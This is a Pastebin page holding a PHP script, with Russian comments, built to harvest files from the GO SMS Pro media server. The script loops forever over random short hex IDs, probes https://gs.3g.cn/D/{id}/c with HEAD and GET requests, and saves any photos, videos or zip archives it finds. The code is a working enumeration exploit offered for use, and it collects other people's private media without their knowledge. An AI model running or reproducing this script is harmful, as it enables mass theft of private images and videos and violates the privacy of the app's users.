Advertisement
Guest User

V2! GO SMS Pro (2ch.hk/b)

a guest
Nov 21st, 2020
172
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 5.95 KB | None | 0 0
  1. <?php
  2.  
  3. /*-------------------------------------------
  4.     КОНФИГ
  5. -------------------------------------------*/
  6.  
  7. // папка в которую сохранять, будет создано автоматически
  8. define('DIR_RESULT', 'result');
  9.  
  10. // будет в следующей версии, пока не работает
  11. // распаковывать zip? (обычно там пак фоток)
  12. define('EXTRACT_ZIP', true);
  13.  
  14. // Тайм-аут на чтение в секундах, указанный с помощью типа float
  15. // Отрицательное значение означает бесконечное время ожидания.
  16. define('HTTP_HEAD_TIMEOUT', 5);
  17. define('HTTP_GET_TIMEOUT', 90);
  18.  
  19.  
  20. // какие файлы загружать и сохранять
  21. $what_save = ['mp4', 'zip', 'jpg', 'png'];  // 'mp4', 'mp3', 'mp4', 'zip', 'gif', 'jpg', 'png'
  22.  
  23.  
  24.  
  25. /*------------------------------------------------------------------------
  26.     СОЗДАНИЕ ПАПОК
  27. ------------------------------------------------------------------------*/
  28. class config
  29. {
  30.  
  31.     function __construct($dirs)
  32.     {
  33.  
  34.         $this -> create_dirs($dirs);
  35.  
  36.         $this -> other();
  37.  
  38.     }
  39.  
  40.     function create_dirs($dirs)
  41.     {
  42.  
  43.         // сбросить кеш файлов
  44.         clearstatcache();
  45.  
  46.  
  47.         foreach ( $dirs as $dir )
  48.         {
  49.  
  50.  
  51.             if ( file_exists(DIR_RESULT . '/' . $dir) )
  52.             {
  53.  
  54.                 continue;
  55.  
  56.             }
  57.  
  58.             if ( !mkdir(DIR_RESULT . '/' . $dir, 0777, true) )
  59.             {
  60.  
  61.                 exit('err1: Cant create ' . $dir);
  62.  
  63.             }
  64.  
  65.         }
  66.  
  67.     }
  68.  
  69.     function other()
  70.     {
  71.  
  72.         // отключаем ограничение на время выполнения скрипта
  73.         if ( !set_time_limit(0) )
  74.         {
  75.  
  76.             exit('err2: Cant use set_time_limit');
  77.  
  78.         }
  79.  
  80.     }
  81.  
  82. }
  83.  
  84.  
  85.  
  86. /*------------------------------------------------------------------------
  87.     ЗАГРУЗКА
  88. ------------------------------------------------------------------------*/
  89.  
  90. class fuck
  91. {
  92.  
  93.     function __construct($what_save)
  94.     {
  95.  
  96.         $this -> what_save = $what_save;
  97.  
  98.         while ( 1 )
  99.         {
  100.  
  101.             clearstatcache();
  102.  
  103.             if ( file_exists('stop.txt') )
  104.             {
  105.  
  106.                 exit('<b>Stopped. You can delete stop.txt</b>');
  107.  
  108.             }
  109.  
  110.  
  111.             $id = $this -> id_generator();
  112.  
  113.             if ( !$this -> is_need_to_load() )
  114.             {
  115.  
  116.                 continue;
  117.  
  118.             }
  119.  
  120.             if ( !$this -> load() )
  121.             {
  122.  
  123.                 continue;
  124.  
  125.             }
  126.  
  127.             $this -> save();
  128.  
  129.         }
  130.  
  131.  
  132.  
  133.     }
  134.  
  135.  
  136.     function id_generator()
  137.     {
  138.  
  139.         // длина 4-6 символов
  140.         $len = mt_rand(4,6);
  141.  
  142.         $this -> id = '';
  143.  
  144.         for ( $i = 0; $i < $len; $i++ )
  145.         {
  146.  
  147.             $this -> id .= ( mt_rand(0,1) == 1 )            // сгенерировать число или букву?
  148.                                 ? chr(mt_rand(97, 102))     // сгенерировать a-f
  149.                                 : mt_rand(0,9);             // сгенерировать 0-9
  150.  
  151.         }
  152.  
  153.  
  154.     }
  155.  
  156.     function parse_name()
  157.     {
  158.  
  159.         foreach ($this -> headers as $line)
  160.         {
  161.  
  162.             if ( strpos($line, 'Location:') === false )
  163.             {
  164.  
  165.                 continue;
  166.  
  167.             }
  168.  
  169.             // хоспаде, перепишите на регулярки
  170.  
  171.             // отбросить location
  172.             list( , $url) = explode(':', $line, 2);
  173.  
  174.             // отбросить пробелы, вырезать /path
  175.             $path = parse_url(trim($url), PHP_URL_PATH);
  176.  
  177.             // распарсить имя и расширение файла
  178.             $this -> extension = pathinfo($path, PATHINFO_EXTENSION );
  179.  
  180.             return in_array($this -> extension, $this -> what_save);
  181.  
  182.         }
  183.  
  184.         // нет нихуя! обычно это ссаный json
  185.         return false;
  186.  
  187.     }
  188.  
  189.     function is_need_to_load()     // HTTP HEAD
  190.     {
  191.  
  192.         $opts =
  193.         [
  194.             'http' =>
  195.             [
  196.                 'method'        => 'HEAD',
  197.                 'timeout'       => HTTP_HEAD_TIMEOUT,
  198.                 'ignore_errors' => true
  199.             ]
  200.         ];
  201.  
  202.         $context = stream_context_create($opts);
  203.  
  204.  
  205.         @file_get_contents("https://gs.3g.cn/D/{$this -> id}/c", false, $context); // вернёт false в любом случае, так как head
  206.  
  207.  
  208.         if ( !isset($http_response_header) )
  209.         {
  210.  
  211.             return false;
  212.  
  213.         }
  214.  
  215.  
  216.         $this -> headers = $http_response_header;
  217.  
  218.         return $this -> parse_name();
  219.  
  220.  
  221.     }
  222.  
  223.     function load ( )
  224.     {
  225.  
  226.         $opts =
  227.         [
  228.  
  229.             'http' =>
  230.             [
  231.                 'method'        => 'GET',
  232.                 'timeout'       => HTTP_GET_TIMEOUT
  233.             ]
  234.  
  235.         ];
  236.  
  237.         $context = stream_context_create($opts);
  238.  
  239.  
  240.         if ( !$file = @file_get_contents("https://gs.3g.cn/D/{$this -> id}/c", false, $context) )
  241.         {
  242.  
  243.             return false;
  244.  
  245.         }
  246.  
  247.         $this -> content = $file;
  248.  
  249.         return true;
  250.  
  251.     }
  252.  
  253.     function save()
  254.     {
  255.         if ( !file_put_contents(DIR_RESULT . "/{$this -> extension}/{$this -> id}.{$this -> extension}", $this -> content) )
  256.         {
  257.  
  258.             echo '<span style="color:red">Cant save ';
  259.  
  260.         }
  261.         else
  262.         {
  263.             echo '<span style="color:green">Saved ';
  264.         }
  265.  
  266.         echo DIR_RESULT . "/{$this -> extension}/{$this -> id}.{$this -> extension}</span><br>";
  267.  
  268.     }
  269.  
  270.  
  271. }
  272.  
  273. /*------------------------------------------------------------------------
  274.     СТАРТ
  275. ------------------------------------------------------------------------*/
  276.  
  277. $c = new config($what_save);
  278.  
  279. $x = new fuck($what_save);
  280.  
  281. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement